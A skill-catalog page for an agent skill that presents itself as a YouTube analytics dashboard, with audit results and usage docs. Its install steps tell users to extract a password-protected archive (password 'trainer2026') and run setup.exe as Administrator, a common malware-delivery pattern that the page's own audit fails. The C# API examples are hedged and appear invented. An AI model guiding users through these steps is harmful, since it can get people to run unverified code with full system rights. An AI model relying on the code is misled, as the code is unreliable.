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aradotso/data-skills385 installs

youtube-channel-analytics-dashboard

Dashboard tool for analyzing YouTube channel metrics including views, watch time, subscriber growth, revenue, and audience demographics with real-time data visualization.

How do I install this agent skill?

npx skills add https://github.com/aradotso/data-skills --skill youtube-channel-analytics-dashboard
view source ↗

Is this agent skill safe to install?

  • Gen Agent Trust Hubfail

    The skill instructs users to download and run a password-protected executable with Administrator privileges, which is a high-risk installation pattern. It also processes external YouTube data without sanitization, making it vulnerable to indirect prompt injection, and includes features for sending data to external webhooks.

  • Socketwarn

    1 alert: gptSecurity

  • Snykpass

    Risk: LOW · No issues

What does this agent skill do?

YouTube Channel Analytics Dashboard

Skill by ara.so — Data Skills collection.

Overview

YouTube Channel Analytics Dashboard is a comprehensive analytics tool that provides real-time and historical insights into YouTube channel performance. It tracks views, watch time, subscriber growth, revenue estimates, and audience demographics through an interactive dashboard interface.

Key capabilities:

  • Real-time statistics monitoring (views, subscribers)
  • Historical trend visualization with growth charts
  • Revenue tracking and estimates
  • Audience demographics and geographic mapping
  • Video-level performance analysis
  • Report export (CSV/PDF formats)

Installation

Windows Setup

  1. Download the package from the repository releases
  2. Extract the archive (password: trainer2026)
  3. Run setup.exe as Administrator
  4. Follow the configuration wizard

Requirements

  • OS: Windows 10/11 (64-bit)
  • Runtime: .NET Framework 4.8+ or Visual C++ Redistributable
  • Architecture: x64

Configuration

Create a configuration file config.json in the application directory:

{
  "youtube": {
    "api_key": "${YOUTUBE_API_KEY}",
    "channel_id": "${YOUTUBE_CHANNEL_ID}"
  },
  "refresh_interval": 300,
  "data_retention_days": 90,
  "export": {
    "default_format": "csv",
    "output_directory": "./exports"
  },
  "dashboard": {
    "theme": "light",
    "auto_refresh": true
  }
}

Environment Variables

Set these environment variables for API authentication:

YOUTUBE_API_KEY=your_youtube_api_key_here
YOUTUBE_CHANNEL_ID=your_channel_id_here
YOUTUBE_DATA_API_VERSION=v3

Core Functionality

Connecting to YouTube API

The dashboard integrates with YouTube Data API v3. Ensure you have:

  1. A Google Cloud project with YouTube Data API enabled
  2. OAuth 2.0 credentials or API key
  3. Proper scopes: youtube.readonly, yt-analytics.readonly

Key Metrics Tracked

MetricDescriptionUpdate Frequency
ViewsTotal and daily video viewsReal-time
Watch TimeTotal minutes watchedHourly
SubscribersCurrent count and growthReal-time
RevenueEstimated earnings (CPM-based)Daily
DemographicsAge, gender, geographyDaily
EngagementLikes, comments, sharesHourly

Usage Patterns

Launching the Dashboard

# Standard launch
.\YouTubeAnalytics.exe

# With custom config
.\YouTubeAnalytics.exe --config custom_config.json

# Debug mode
.\YouTubeAnalytics.exe --debug --verbose

Command-Line Interface

# Export current analytics to CSV
.\YouTubeAnalytics.exe --export csv --output ./reports/analytics.csv

# Export specific date range
.\YouTubeAnalytics.exe --export pdf --from 2026-01-01 --to 2026-06-30

# Generate subscriber growth report
.\YouTubeAnalytics.exe --report subscribers --period 30d

# Fetch real-time stats only
.\YouTubeAnalytics.exe --realtime --format json

API Integration (If Extensible)

If the tool provides a scriptable interface or API:

using YouTubeAnalytics.Core;
using YouTubeAnalytics.Models;

// Initialize the analytics client
var config = new AnalyticsConfig
{
    ApiKey = Environment.GetEnvironmentVariable("YOUTUBE_API_KEY"),
    ChannelId = Environment.GetEnvironmentVariable("YOUTUBE_CHANNEL_ID"),
    RefreshInterval = TimeSpan.FromMinutes(5)
};

var client = new YouTubeAnalyticsClient(config);

// Fetch real-time statistics
var stats = await client.GetRealtimeStatsAsync();
Console.WriteLine($"Current Subscribers: {stats.SubscriberCount}");
Console.WriteLine($"Total Views: {stats.TotalViews}");

// Get historical data
var history = await client.GetHistoricalDataAsync(
    startDate: DateTime.Now.AddDays(-30),
    endDate: DateTime.Now,
    metrics: new[] { "views", "subscribersGained", "estimatedRevenue" }
);

// Analyze top performing videos
var topVideos = await client.GetTopVideosAsync(
    period: TimePeriod.Last30Days,
    metric: VideoMetric.Views,
    limit: 10
);

foreach (var video in topVideos)
{
    Console.WriteLine($"{video.Title}: {video.Views:N0} views");
}

// Export to CSV
var exporter = new DataExporter(client);
await exporter.ExportToCsvAsync(
    "./exports/monthly_report.csv",
    startDate: DateTime.Now.AddMonths(-1),
    endDate: DateTime.Now
);

Automation Scripts

// Scheduled daily report generation
using YouTubeAnalytics.Automation;

var scheduler = new ReportScheduler(client);

scheduler.ScheduleDailyReport(
    time: new TimeSpan(9, 0, 0), // 9 AM
    reportType: ReportType.DailySummary,
    recipients: new[] { "team@example.com" },
    format: ExportFormat.PDF
);

// Alert on subscriber milestones
scheduler.AddAlert(new SubscriberMilestoneAlert
{
    Milestone = 10000,
    NotificationMethod = NotificationMethod.Email,
    Recipient = "notifications@example.com"
});

Data Analysis Patterns

Subscriber Growth Analysis

// Calculate growth rate
var growth = await client.GetSubscriberGrowthAsync(
    period: TimePeriod.Last90Days
);

var avgDailyGrowth = growth.Sum(d => d.NewSubscribers) / growth.Count;
var growthRate = (growth.Last().TotalSubscribers - growth.First().TotalSubscribers) 
                 / (double)growth.First().TotalSubscribers * 100;

Console.WriteLine($"Average daily growth: {avgDailyGrowth:F1} subscribers");
Console.WriteLine($"90-day growth rate: {growthRate:F2}%");

Revenue Tracking

// Estimate revenue by video
var revenueData = await client.GetRevenueBreakdownAsync(
    startDate: DateTime.Now.AddMonths(-1),
    endDate: DateTime.Now,
    groupBy: RevenueGrouping.ByVideo
);

var topEarners = revenueData
    .OrderByDescending(v => v.EstimatedRevenue)
    .Take(10);

foreach (var video in topEarners)
{
    Console.WriteLine($"{video.Title}: ${video.EstimatedRevenue:F2}");
}

Audience Demographics

// Analyze audience location
var demographics = await client.GetAudienceDemographicsAsync();

var topCountries = demographics.Geography
    .OrderByDescending(g => g.ViewPercentage)
    .Take(5);

Console.WriteLine("Top 5 Countries:");
foreach (var country in topCountries)
{
    Console.WriteLine($"  {country.Name}: {country.ViewPercentage:F1}%");
}

// Age distribution
var ageGroups = demographics.AgeDistribution;
Console.WriteLine($"Primary audience age: {ageGroups.MaxBy(a => a.Percentage).AgeRange}");

Dashboard Customization

Creating Custom Views

If the dashboard supports custom panels:

// Define a custom dashboard layout
var dashboard = new DashboardLayout();

dashboard.AddPanel(new Panel
{
    Type = PanelType.LineChart,
    Title = "Subscriber Growth",
    DataSource = DataSource.SubscriberHistory,
    Position = new Position(0, 0),
    Size = new Size(2, 1)
});

dashboard.AddPanel(new Panel
{
    Type = PanelType.Gauge,
    Title = "Real-time Views",
    DataSource = DataSource.RealtimeViews,
    Position = new Position(2, 0),
    Size = new Size(1, 1)
});

dashboard.AddPanel(new Panel
{
    Type = PanelType.Map,
    Title = "Audience Geography",
    DataSource = DataSource.Geography,
    Position = new Position(0, 1),
    Size = new Size(3, 1)
});

await dashboard.SaveAsync("custom_layout.json");

Export and Reporting

CSV Export

# Export all metrics
.\YouTubeAnalytics.exe --export csv --metrics all --output report.csv

# Export specific metrics
.\YouTubeAnalytics.exe --export csv --metrics views,subscribers,revenue --from 2026-01-01

PDF Report Generation

using YouTubeAnalytics.Reporting;

var reportGenerator = new PdfReportGenerator(client);

var report = await reportGenerator.GenerateAsync(new ReportOptions
{
    Title = "Monthly Performance Report",
    Period = new DateRange(DateTime.Now.AddMonths(-1), DateTime.Now),
    Sections = new[]
    {
        ReportSection.Overview,
        ReportSection.SubscriberGrowth,
        ReportSection.TopVideos,
        ReportSection.AudienceDemographics,
        ReportSection.RevenueEstimate
    },
    IncludeCharts = true,
    BrandingLogo = "./logo.png"
});

await report.SaveAsync("./reports/monthly_report.pdf");

Troubleshooting

API Connection Issues

Problem: Dashboard fails to connect to YouTube API

Solutions:

  • Verify YOUTUBE_API_KEY is set correctly
  • Check API quota limits in Google Cloud Console
  • Ensure YouTube Data API v3 is enabled
  • Verify channel ID format (should start with "UC")
# Test API connection
.\YouTubeAnalytics.exe --test-connection --verbose

Missing Data

Problem: Some metrics show no data or zero values

Solutions:

  • Ensure OAuth scopes include yt-analytics.readonly
  • Check date range (revenue data may have 2-3 day delay)
  • Verify channel has sufficient history (minimum 7 days)
  • Re-authenticate if token expired
// Force data refresh
await client.RefreshAllMetricsAsync(forceUpdate: true);

Export Failures

Problem: CSV/PDF export hangs or fails

Solutions:

  • Check disk space in output directory
  • Reduce date range for large datasets
  • Verify write permissions on output folder
  • Use smaller metric subset
# Export with limited data
.\YouTubeAnalytics.exe --export csv --metrics views,subscribers --limit 1000

High Memory Usage

Problem: Dashboard consumes excessive memory with large datasets

Solutions:

  • Reduce data_retention_days in config
  • Enable data pagination for exports
  • Clear cache regularly
{
  "performance": {
    "enable_caching": true,
    "cache_max_size_mb": 500,
    "auto_cleanup": true
  }
}

Best Practices

  1. API Quota Management: Monitor YouTube API quota usage to avoid rate limits (default: 10,000 units/day)
  2. Data Retention: Set appropriate retention periods to balance history vs. performance
  3. Scheduled Exports: Automate weekly/monthly reports for consistent tracking
  4. Multiple Channels: Use separate config files for managing multiple channels
  5. Backup Data: Regularly export historical data before rotating logs

Advanced Features

Webhook Integration

// Set up webhook for real-time alerts
var webhookConfig = new WebhookConfig
{
    Url = "https://your-server.com/youtube-webhook",
    Events = new[] { "subscriber_milestone", "viral_video", "revenue_threshold" },
    Secret = Environment.GetEnvironmentVariable("WEBHOOK_SECRET")
};

await client.ConfigureWebhookAsync(webhookConfig);

Comparison Analytics

// Compare two time periods
var comparison = await client.ComparePeriodsAsync(
    period1: new DateRange(DateTime.Now.AddMonths(-2), DateTime.Now.AddMonths(-1)),
    period2: new DateRange(DateTime.Now.AddMonths(-1), DateTime.Now),
    metrics: new[] { "views", "subscribers", "watchTime" }
);

Console.WriteLine($"Views change: {comparison.Views.PercentChange:F1}%");
Console.WriteLine($"Subscriber change: {comparison.Subscribers.PercentChange:F1}%");

This skill enables AI agents to help developers effectively use YouTube Channel Analytics Dashboard for comprehensive channel performance monitoring and reporting.

Add the canonical catalog link to the repository README so users can inspect current installs and available audits. The publishing guide covers the complete discovery path.

<a href="https://skillzs.dev/skills/aradotso/data-skills/youtube-channel-analytics-dashboard">View youtube-channel-analytics-dashboard on skillZs</a>